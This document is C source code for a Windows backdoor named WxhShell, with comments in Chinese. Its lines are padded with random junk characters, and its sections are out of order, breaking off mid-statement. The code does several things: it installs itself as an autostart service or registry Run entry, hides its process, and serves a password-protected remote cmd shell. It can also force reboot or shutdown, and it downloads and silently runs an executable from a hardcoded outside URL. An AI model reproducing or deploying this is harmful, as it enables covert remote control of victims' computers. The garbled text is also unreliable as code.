    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >%uAQiU  
    if(Boot(SHUTDOWN)) :rz9M@7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F,p`- m[q  
    else { b(P HZCy#  
    closesocket(wsh); ;mf4 U85  
    ExitThread(0); =_$XP   
    } dN$ 1$B^k  
    break; a"0B?3*r46  
    } 4 [R8(U[g  
  // 获取shell QHHW(InG<  
  case 's': { ZdE>C   
    CmdShell(wsh); a)3O? Y  
    closesocket(wsh); sBP}n.#$  
    ExitThread(0); 5cyddlaat  
    break; o }9M`[  
  } 2Ueq6IuQ  
  // 退出 !Y ;H(.A/  
  case 'x': { T[5gom  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P &;y] ,)E  
    CloseIt(wsh); Od0S2hHO  
    break; y-w2O]  
    } Ujce |>Wn  
  // 离开 G0_&gx`  
  case 'q': { ,{.zh&=4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U0NOU#  
    closesocket(wsh); :V&N\>Wo  
    WSACleanup(); [D*J[?yt  
    exit(1); +3M$3w{2  
    break; eV[`P&j_C  
        } 8q]J;T  
  } Wmzq  
  } !1ML%}vvB,  
t{/hkXq]  
  // 提示信息 pwJ'3NbS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZWf-X  
} q*~gWn>T  
  } k_,MoDz  
5h_<R!jA  
  return; !UBy%DN~k  
} jP1$qhp  
bjPka{PBj  
// shell模块句柄 6eOrs-ty  
int CmdShell(SOCKET sock) mND XzT&  
{ YS]>_  
STARTUPINFO si; EKqi+T^=F  
ZeroMemory(&si,sizeof(si)); Z} c'Bm(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _LJ5o_-N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hu<p?mF#  
PROCESS_INFORMATION ProcessInfo; BX@pt;$ek7  
char cmdline[]="cmd"; 285_|!.Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w- UKMW9"  
  return 0; /h/6&R0l  
} 1|o$X  
sCVI 2S!L  
// 自身启动模式 (7IqY1W  
int StartFromService(void) <A)+|Y"^h6  
{ Vo #:CB=8  
typedef struct jr9&.8%W:v  
{ LYp'vZ!  
  DWORD ExitStatus; Nc{]zWL9  
  DWORD PebBaseAddress; Uh>.v |P6  
  DWORD AffinityMask; |r5e{  
  DWORD BasePriority; aGpCNc{+  
  ULONG UniqueProcessId; Hl4\M]]/&  
  ULONG InheritedFromUniqueProcessId; ddo ST``G  
}   PROCESS_BASIC_INFORMATION; HV ;;  
D,MyI#  
PROCNTQSIP NtQueryInformationProcess; CV s8s  
#MUiL=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p lK=D#)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  OQ6sv/  
V/J>GRjw  
  HANDLE             hProcess; O~.U:45t  
  PROCESS_BASIC_INFORMATION pbi; d4%dIR)  
=K&#.r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >[a FOA  
  if(NULL == hInst ) return 0; f Gb7=Fk  
I[ai:   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z)/6??/R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kaf>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `8,w[o oC2  
PfyRZ[3)c  
  if (!NtQueryInformationProcess) return 0; fCB:733H  
"ml?7Xl,n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yj) e$f  
  if(!hProcess) return 0; QjLji +L  
p"KU7-BfvC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O:1DOUYXs  
8 4z6zFv?Q  
  CloseHandle(hProcess); ;;@IfZ ?j  
+O'vj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rnu e(t  
if(hProcess==NULL) return 0; Gfv(w=rr?  
a'uU,Eb}#w  
HMODULE hMod; e$/&M*0\f  
char procName[255]; *wwhZe4V  
unsigned long cbNeeded; B s,as  
:lK4 db  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p'&*r2_ram  
ob'n{T+lZ  
  CloseHandle(hProcess); *xcP`  
;W0]66&  
if(strstr(procName,"services")) return 1; // 以服务启动 +vz` go  
H>?F8R_iq  
  return 0; // 注册表启动 _S"f_W  
} 71O3O7  
E:FO_R(Xq  
// 主模块 8Y# bN*!  
int StartWxhshell(LPSTR lpCmdLine) %w7m\nw@  
{ ZW*n /#GUC  
  SOCKET wsl; JvkL37^ n:  
BOOL val=TRUE; u?kD)5Nk  
  int port=0; !qA8Zky_  
  struct sockaddr_in door; |z~LzSJv  
&3Tx@XhO  
  if(wscfg.ws_autoins) Install(); x5OC;OQc  
1kmQX+f  
port=atoi(lpCmdLine); ^YKy9zkTl  
Ziz=]D_  
if(port<=0) port=wscfg.ws_port; y? "@v.  
'&by3y5w-3  
  WSADATA data; Y X*0?S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /BpxKh2p  
pc H<gF(k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'S?;J ,/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bD<qNqX$  
  door.sin_family = AF_INET; Zhzy.u/>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,-'4L9  
  door.sin_port = htons(port); 6e.v&f7(  
[9V]On  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F}U5d^!2  
closesocket(wsl); Fc8E Y*  
return 1; )p8I @E  
} B,_`btJh  
''S&e  
  if(listen(wsl,2) == INVALID_SOCKET) { -#?<05/C>  
closesocket(wsl); qzK("d  
return 1; xQu eE{  
} g_w&"=.jBq  
  Wxhshell(wsl); aI(>]sWJ  
  WSACleanup(); z856 nl  
>|3a 9S  
return 0; s t/n"HQ  
\dq!q=b\  
} ug *D52?  
vG Vd  
// 以NT服务方式启动 "+|L_iuNQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3]U]?h  
{ by86zX  
DWORD   status = 0; 1$ML#5+,  
  DWORD   specificError = 0xfffffff; mJC3@V s  
rg5]&<Vq8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j'G tgT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R8&|+ya  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <y)E>Fl  
  serviceStatus.dwWin32ExitCode     = 0; phP> 3f.T  
  serviceStatus.dwServiceSpecificExitCode = 0; ip``v0Nf  
  serviceStatus.dwCheckPoint       = 0; f v LC_'M  
  serviceStatus.dwWaitHint       = 0; +a|/l  
}Qrab#v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WM,i:P)b  
  if (hServiceStatusHandle==0) return; 4/*H.Fl  
~p*1:ij  
status = GetLastError(); ],lV}Mlg*  
  if (status!=NO_ERROR) |d7$*7TvV  
{ }+R B=#~o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6)e5zKW!?  
    serviceStatus.dwCheckPoint       = 0; ?znSx}t  
    serviceStatus.dwWaitHint       = 0; `cr(wdvI  
    serviceStatus.dwWin32ExitCode     = status; lIf(6nm@  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^0tw%6:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Bs0Avj.  
    return; 4h|dHXYZ  
  } _+w/ pS`M  
.Q>!B?)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :0 ^s0l  
  serviceStatus.dwCheckPoint       = 0; 5j^NV&/_  
  serviceStatus.dwWaitHint       = 0; w([$@1]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lBA+zZ  
} NY.k.  
<]G${y*;  
// 处理NT服务事件,比如:启动、停止 t FgX\4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n56;m`IU  
{ o a<q/  
switch(fdwControl) "T6#  
{ D59T?B|BdD  
case SERVICE_CONTROL_STOP: PRs@zkO  
  serviceStatus.dwWin32ExitCode = 0; 2 x 4=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lKV"Mh+6  
  serviceStatus.dwCheckPoint   = 0; onte&Ed\  
  serviceStatus.dwWaitHint     = 0; )`HA::  
  { Vhg1/EgUr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mBk5+KyT  
  } ijUzC>O+q  
  return; +MUwP(U=w  
case SERVICE_CONTROL_PAUSE: xxa} YIe8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O}Le]2'  
  break; w'ybbv{c  
case SERVICE_CONTROL_CONTINUE: =AOWeLk*G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Xl%0/ o  
  break; 9 E1W|KE  
case SERVICE_CONTROL_INTERROGATE: IA*KaX2S<  
  break; x?r1s#88>  
}; K7`YJp`i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BC/_:n8O  
} 3Wx,oq;4-  
:w-`PY J%G  
// 标准应用程序主函数 Jb(Y,LO^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sR_xe}-  
{ {'bip`U.  
7*+TP~WI  
// 获取操作系统版本 or?%-)  
OsIsNt=GetOsVer(); X K>&$<5{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t\R; < x  
RiFw?Q+  
  // 从命令行安装 |)U|:F/{@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~OFvu}]  
G<qIY&D'  
  // 下载执行文件  6sxz_f  
if(wscfg.ws_downexe) { Y=B3q8l5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fA^Em)cs2  
  WinExec(wscfg.ws_filenam,SW_HIDE); "="O >  
} n:#TOU1ix<  
F0dI/+  
if(!OsIsNt) { 3$p#;a:=n  
// 如果时win9x,隐藏进程并且设置为注册表启动 Utt>H@t[  
HideProc(); BzbDZV  
StartWxhshell(lpCmdLine); ,M6ZZ* ,e  
} 4j'd3WGpbN  
else ' UMFS  
  if(StartFromService()) ]~c+'E`  
  // 以服务方式启动 Ruaur]  
  StartServiceCtrlDispatcher(DispatchTable); RR|\- 8;  
else \54}T 4R  
  // 普通方式启动 YD[H  
  StartWxhshell(lpCmdLine); pSAR/':eg  
HW_& !ye  
return 0; R>)MiHcCg  
} 3 <SqoJSp  
R p.W,)i  
eaZQ2  
7 'w0  
=========================================== Q/^A #l[  
s ic$uT  
N:BL=} V  
Dpqt;8"2L  
2(#Ks's?  
Dy9\O77>  
" <8o(CA\  
@LX6hm*}  
#include <stdio.h> M]EsS^/X  
#include <string.h> lrEj/"M  
#include <windows.h> a/:XXy |  
#include <winsock2.h> ;e s^R?z  
#include <winsvc.h> pR$6,Vi  
#include <urlmon.h> "S!3m9_#  
<Gb %uny  
#pragma comment (lib, "Ws2_32.lib") 'Z8aPHD  
#pragma comment (lib, "urlmon.lib") >1|g5  
-q>^ALf|@>  
#define MAX_USER   100 // 最大客户端连接数 /g.]RY+u|x  
#define BUF_SOCK   200 // sock buffer Tj/GClD:%  
#define KEY_BUFF   255 // 输入 buffer .YcN S%  
G*n2Ii  
#define REBOOT     0   // 重启 j$@tK0P  
#define SHUTDOWN   1   // 关机 `rFAZcEj%  
mP}#Ccji?  
#define DEF_PORT   5000 // 监听端口 Np,2j KF(  
=,/D/v$m'2  
#define REG_LEN     16   // 注册表键长度 (H#M<N  
#define SVC_LEN     80   // NT服务名长度 +1`t}hO  
9`Q@'( m  
// 从dll定义API IB$7`7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jj&s} _75  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tJZc/]%`H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d/U."V}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ; st\I  
u?0d[mC  
// wxhshell配置信息 ]> G&jd7  
struct WSCFG { igkz2SI  
  int ws_port;         // 监听端口 M7dU@Ag  
  char ws_passstr[REG_LEN]; // 口令 i@$*Csj\9*  
  int ws_autoins;       // 安装标记, 1=yes 0=no _" N\b%CkO  
  char ws_regname[REG_LEN]; // 注册表键名 !`wW_W  
  char ws_svcname[REG_LEN]; // 服务名 Faac]5u:*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "QY1.:o<(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $ |<m9CW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >S#ul?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  tFh|V pB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I$jvXl=$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ijYvqZ_  
's%q  
}; CEtR[Cu  
0D [@u3W  
// default Wxhshell configuration By((,QpB  
struct WSCFG wscfg={DEF_PORT, q-AN[_@  
    "xuhuanlingzhe", $k0H9_  
    1, c@du2ICUc  
    "Wxhshell", 3N4.$#>#9@  
    "Wxhshell", ([k7hUP  
            "WxhShell Service", 3LK%1+)4  
    "Wrsky Windows CmdShell Service", N6/T#UVns  
    "Please Input Your Password: ", 8jnz}aBd  
  1, !1 :@8q  
  "http://www.wrsky.com/wxhshell.exe", JLm @Ag  
  "Wxhshell.exe" "4 k-dj  
    }; ?]!vRmZ;  
^Kq|ID AP  
// 消息定义模块 ^ eh /HnJs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HnZPw&*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IgX4.]W5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; At9X]t  
char *msg_ws_ext="\n\rExit."; }T(z4P3  
char *msg_ws_end="\n\rQuit."; G\~^&BAC  
char *msg_ws_boot="\n\rReboot..."; *xH\)|3,  
char *msg_ws_poff="\n\rShutdown..."; 8vD3=yK%^  
char *msg_ws_down="\n\rSave to "; |4>:M\h  
v\A.Tyy  
char *msg_ws_err="\n\rErr!"; R@`rT*lJ  
char *msg_ws_ok="\n\rOK!"; =_-C%<4  
:pZ}*?\  
char ExeFile[MAX_PATH]; `gguip-C  
int nUser = 0; C{m&}g`  
HANDLE handles[MAX_USER]; Cvn$]bt/s  
int OsIsNt; 2p< Aj!  
 ]PX}b  
SERVICE_STATUS       serviceStatus; Z)9R9s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %e=!nRc  
T\sNtdF`:  
// 函数声明 (B#(Z=  
int Install(void); dOXD{c  
int Uninstall(void); x ^vt; $  
int DownloadFile(char *sURL, SOCKET wsh); <r\I"z$  
int Boot(int flag); uHvaZMu  
void HideProc(void); bZ5n,KQA5  
int GetOsVer(void); MCy~@)-IN  
int Wxhshell(SOCKET wsl); 4rp6 C/i  
void TalkWithClient(void *cs); ]VjLKFb~U  
int CmdShell(SOCKET sock); _z"o1`{w  
int StartFromService(void); <GZhH:  
int StartWxhshell(LPSTR lpCmdLine); b! tludb  
pXW`+<g0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8(lCi$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lb~\Y n'z  
{bkGYx5.C  
// 数据结构和表定义 X;EJ&g/  
SERVICE_TABLE_ENTRY DispatchTable[] = |]ucHV  
{ )f*Iomp]@  
{wscfg.ws_svcname, NTServiceMain}, dY'Y5Th~  
{NULL, NULL} =5s$qb?#  
}; 0dt"ZSm  
!J^tg2M8:  
// 自我安装 pVG>A&4  
int Install(void) W~dE  
{ T$c+m\j6  
  char svExeFile[MAX_PATH]; 8 /m3+5  
  HKEY key; yazZw}};  
  strcpy(svExeFile,ExeFile); 3$_2weZxYn  
UR:n5V4  
// 如果是win9x系统,修改注册表设为自启动 0wvU?z%WK  
if(!OsIsNt) { [W(Y3yyY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9d\N[[Vu]R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L82NP)St  
  RegCloseKey(key); x# 8IZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h48 bb.p2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (02g#A`  
  RegCloseKey(key); E fSMFPM  
  return 0; Oz>io\P94  
    } ^!uO(B&  
  } 2"M_sL  
} .^H1\p];Lw  
else { @ ;J|xkJ  
NG)7G   
// 如果是NT以上系统,安装为系统服务 k?-S`o%Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @:gl:mc  
if (schSCManager!=0) ^[TOZXL`:  
{ *k6$   
  SC_HANDLE schService = CreateService (Y;'[.  
  ( 8IOj[&%0  
  schSCManager, B;c=eMw  
  wscfg.ws_svcname, *vs~SzF$  
  wscfg.ws_svcdisp, #pa\ 2d|  
  SERVICE_ALL_ACCESS, 8S=c^_PJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e7|d=W  
  SERVICE_AUTO_START, sZm^&h;  
  SERVICE_ERROR_NORMAL, 4vGbG:x  
  svExeFile, H%T3Pc  
  NULL, )"~=7)~<^  
  NULL, Tw}z7U"  
  NULL, q]l\`/R%u  
  NULL, 0 r3N^_}  
  NULL 8;.` {'r  
  ); P:a*t[+  
  if (schService!=0) *NjMb{[ZQ  
  { Dauo(Uhuo  
  CloseServiceHandle(schService); Is kSX  
  CloseServiceHandle(schSCManager); b,vL8*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $68 XZCx  
  strcat(svExeFile,wscfg.ws_svcname); -faw:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~ i'C/[P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .-%oDuB5zF  
  RegCloseKey(key); ]>*I)H)  
  return 0; d#Wn[h$"  
    } ;]u1~  
  } _<Vg[ -:1  
  CloseServiceHandle(schSCManager); b)y<.pS\  
} {4)5]62>u  
} :z124Zf  
WiwwCKjSa  
return 1; i*b4uHna  
} SmvwhX  
M Hn&; A]  
// 自我卸载 3]7ipwF2q  
int Uninstall(void) #PPsRKj3c  
{ 98ayA$  
  HKEY key; uTUa4 ^]*  
]Y$&78u8t  
if(!OsIsNt) { o"f%\N0_8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BDnBBbBrz  
  RegDeleteValue(key,wscfg.ws_regname); EyPy*_A  
  RegCloseKey(key); i&5!9m`Cw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9Mut p4#  
  RegDeleteValue(key,wscfg.ws_regname);  nFVbQa~  
  RegCloseKey(key); @OrXbG7&>#  
  return 0; YFAnlqC  
  } 0= gF6U  
} ua!D-0  
} m(h/:JZ\  
else { B=^2g}mgK  
Z#[>N,P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v@]6<e$  
if (schSCManager!=0) uvNnW}G4  
{ tTE3H_   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wfWS-pQ  
  if (schService!=0) vLD:(qTi  
  { >02i8:Tp5K  
  if(DeleteService(schService)!=0) { t2m  ^  
  CloseServiceHandle(schService); s+Cl  
  CloseServiceHandle(schSCManager); n9wj[t1/  
  return 0; X%*brl$D  
  } dUUPhk0  
  CloseServiceHandle(schService); 8UlB~fVg  
  } .Wd.) ^?  
  CloseServiceHandle(schSCManager); E)RI!0Ra  
}   -kV|  
} )lE3GDAPgZ  
j(UX 6lR  
return 1; cRjL3  
} !~Ax  
 |UABar b  
// 从指定url下载文件 av7q>NEZ!1  
int DownloadFile(char *sURL, SOCKET wsh) Vl&+/-V  
{ he_HVRpB  
  HRESULT hr; 8rnb  
char seps[]= "/"; a  [0N,t  
char *token; t Qp* '  
char *file; hVROzGZk  
char myURL[MAX_PATH]; LAOdH/*:  
char myFILE[MAX_PATH]; R4[. n@  
p]X!g  
strcpy(myURL,sURL); WX+< 4j  
  token=strtok(myURL,seps); (mu{~@Hw  
  while(token!=NULL) qYQUr8{  
  { WXRHG)nvL  
    file=token; E5v|SFD  
  token=strtok(NULL,seps); ,S7~=S  
  } (e>RNn\  
*8pe<:A#p  
GetCurrentDirectory(MAX_PATH,myFILE); 'Hcd&3a  
strcat(myFILE, "\\"); ZA 99vO  
strcat(myFILE, file); Qu,)wfp~  
  send(wsh,myFILE,strlen(myFILE),0); 9`hpa-m@  
send(wsh,"...",3,0); ;7B2~zL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IIYX|;1}X  
  if(hr==S_OK) s\F EA"w/  
return 0; s8/ozaeo  
else LRfFn^FPM  
return 1; NzwGc+\7}  
u|:UFz^p  
} ORFr7a'K  
:BC<+T=  
// 系统电源模块 :7 s#5b  
int Boot(int flag) ^mQ;CMV  
{ U?+30{hb  
  HANDLE hToken; q? gQ  
  TOKEN_PRIVILEGES tkp; z[<pi :  
~CjmYP'o  
  if(OsIsNt) { #lLn='4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4Tbi%vF{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q=j/s4~  
    tkp.PrivilegeCount = 1; SWe!9Y$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7,&3=R <  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o i,g  
if(flag==REBOOT) { & Q|f*T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iZVT% A+q  
  return 0; ;]8p:ME  
} H/ B^N,oi  
else { CC]@`R5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Is#v6:#^  
  return 0; U:T5o]P<  
}  9\W5   
  } ~-o^eI4_  
  else { s OrY^cY;  
if(flag==REBOOT) { XEe+&VQmY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k(w9vt0?  
  return 0; RvgAI`T7$  
} =*U%j  
else { !:!@dC%8_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X/?h!Y}  
  return 0; rE' %MiIK  
} 6:7:NIl:  
} ^LQ lfd  
gIf+.^/m1  
return 1; IhFw{=2*  
} NnSI)*%'  
"S:NU .c?  
// win9x进程隐藏模块 LTlC}3c28f  
void HideProc(void) RQ$o'U9A  
{ -`ys pE0?  
1 _:1/~R1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nk?xNe4  
  if ( hKernel != NULL ) bvxxE/?Ni  
  { _sD]Viqc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3M>FU4Ug2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pdXgr)Uv  
    FreeLibrary(hKernel); lhvZ*[[<)  
  } jP{]LJ2.6\  
<:_]Yl  
return; l{7Dv1[Ss  
} u/c~PxC  
y<gYf -E+  
// 获取操作系统版本  p% YvP  
int GetOsVer(void) +~v3D^L15  
{ .L 5T4)  
  OSVERSIONINFO winfo; D} <o<Dk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GE|^ryh  
  GetVersionEx(&winfo); 2%No>w}/2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]nr BmKB  
  return 1; t$kf'An}/  
  else xhoLQD  
  return 0; H2t pP~!G  
} oXZ@*   
&rtz&}ZB;  
// 客户端句柄模块 A`ertSlbhe  
int Wxhshell(SOCKET wsl) N*4IxY'vX/  
{ uq1(yyWp(  
  SOCKET wsh; }A&Xxh!Fwo  
  struct sockaddr_in client; vpr @  
  DWORD myID; OuJ y$e  
 "%@=?X8  
  while(nUser<MAX_USER) GlkAJe]  
{ pU)3*9?cIl  
  int nSize=sizeof(client); !j\&BAxTEk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {bsr 9.k(  
  if(wsh==INVALID_SOCKET) return 1; H_nOE(i<z  
sp]y!zb"5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J$=b&$I(  
if(handles[nUser]==0) l8 2uK"M  
  closesocket(wsh); d=u%"36y  
else z@S8H6jM)S  
  nUser++; =R8.QBVdN  
  } sMpC4E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /)OO)B-r  
mDt",#g  
  return 0; QBT-J`Pz  
} . R8W<  
$S-;M0G x  
// 关闭 socket \#*;H|U.x  
void CloseIt(SOCKET wsh) 5O;oo@A:[  
{ UC2 OY Zb  
closesocket(wsh); 4O,a`:d1$6  
nUser--; PI<s5bns {  
ExitThread(0); ,i((;/O6  
} j*lWi0Z-  
0$dNrq  
// 客户端请求句柄 a\j\eMC  
void TalkWithClient(void *cs) JdNPfkOF  
{ U~`^Y8UF  
w5JC2   
  SOCKET wsh=(SOCKET)cs; gJcL{]  
  char pwd[SVC_LEN]; O5n] 4)<  
  char cmd[KEY_BUFF]; BE@H~<E J  
char chr[1]; RBojT   
int i,j; vBQ?S2f  
OG$iZiuf  
  while (nUser < MAX_USER) { E$zq8-p|  
{(:)  
if(wscfg.ws_passstr) { .`8,$"`4)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?g1 .-'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DB= cc  
  //ZeroMemory(pwd,KEY_BUFF); thboHPml{  
      i=0; nf@u7*# 6  
  while(i<SVC_LEN) { M/`z;a=EP  
gJfL$S'w  
  // 设置超时 8Nq Iz  
  fd_set FdRead; J_br%AG<p  
  struct timeval TimeOut; s 17gi,"X  
  FD_ZERO(&FdRead); K`Zb;R X  
  FD_SET(wsh,&FdRead); YVV $g-D}  
  TimeOut.tv_sec=8; NGD2z.  
  TimeOut.tv_usec=0; 5oyMR_yl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xI),0 db  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lcJumV=%>  
+OP:"Q_#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,]N%(>ot  
  pwd=chr[0]; z:,!yU c  
  if(chr[0]==0xd || chr[0]==0xa) { #AnSjl  
  pwd=0; _BA_lkN+D  
  break; [5d][1=  
  } f9bz:_;W_  
  i++; PSw+E';  
    } C3h!?5  
:iC\#i]6  
  // 如果是非法用户,关闭 socket 8$olP:d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'aWZ#GS*  
} $?Mz[X  
KPcuGJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I,uu>-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  jmNj#R@t  
;5_S  
while(1) { 0'oT {iN  
\r9%;?f  
  ZeroMemory(cmd,KEY_BUFF); Q 8E~hgO  
/Day5\Q#  
      // 自动支持客户端 telnet标准   p&27|1pZm  
  j=0; 4V3 w$:,  
  while(j<KEY_BUFF) { 7C yLSZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !/Ps}.)A`  
  cmd[j]=chr[0]; LX&P]{q KS  
  if(chr[0]==0xa || chr[0]==0xd) { ^$ bhmJYT  
  cmd[j]=0; 9\0 K%LL  
  break; ;z=C]kI6M  
  } \Y 4Z Q"0Q  
  j++; X'4 Yofs  
    } ]V("^.~$+C  
RN| ..zml  
  // 下载文件 VMXXBa&  
  if(strstr(cmd,"http://")) { pa73`Ca]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x)5v8kgf  
  if(DownloadFile(cmd,wsh)) 3]'z8i({7Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /RmCMT  
  else }w8AnaC  
